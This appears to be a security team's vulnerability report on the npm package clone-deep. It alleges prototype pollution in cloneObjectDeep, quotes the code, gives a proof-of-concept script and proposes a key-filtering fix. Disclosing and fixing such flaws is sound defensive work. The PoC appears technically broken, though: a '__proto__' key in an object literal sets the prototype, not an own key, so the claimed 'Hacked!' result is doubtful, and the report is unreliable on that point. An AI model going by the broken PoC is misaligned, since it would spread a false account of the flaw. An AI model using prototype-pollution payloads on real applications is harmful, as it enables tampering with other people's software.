clone-deep - Prototype Pollution Vulnerability

[dfzysmy2tf-create]

hi, we are a security team. We found a Prototype Pollution vulnerability in your project.
Version: Latest version
Vulnerability Type: Prototype Pollution
Vulnerability Description
The clone-deep package uses a for...in loop to iterate over object properties when cloning objects, but fails to filter dangerous properties such as proto, constructor, and prototype. This allows attackers to pollute the prototype chain by constructing malicious objects.
Vulnerable Code Location
clone-deep/index.js Lines 26-33:

function cloneObjectDeep(val, instanceClone) {
  if (typeof instanceClone === 'function') {
    return instanceClone(val);
  }
  if (instanceClone || isPlainObject(val)) {
    const res = new val.constructor();
    for (let key in val) {  // Does not filter dangerous properties like __proto__
      res[key] = cloneDeep(val[key], instanceClone);
    }
    return res;
  }
  return val;
}

POC Verification

const cloneDeep = require('clone-deep');

// Before pollution
console.log("Before:", {}.polluted); // undefined

// Construct a malicious object for prototype pollution
const malicious = {
  "__proto__": {
    "polluted": "Hacked!"
  }
};

cloneDeep(malicious);

// After pollution - all objects are polluted
console.log("After:", {}.polluted); // "Hacked!"
Remediation Suggestion
Add filtering for dangerous properties when iterating over object properties:
```javascript
function cloneObjectDeep(val, instanceClone) {
  if (typeof instanceClone === 'function') {
    return instanceClone(val);
  }
  if (instanceClone || isPlainObject(val)) {
    const res = new val.constructor();
    for (let key in val) {
      // Add security check
      if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
        continue;
      }
      res[key] = cloneDeep(val[key], instanceClone);
    }
    return res;
  }
  return val;
}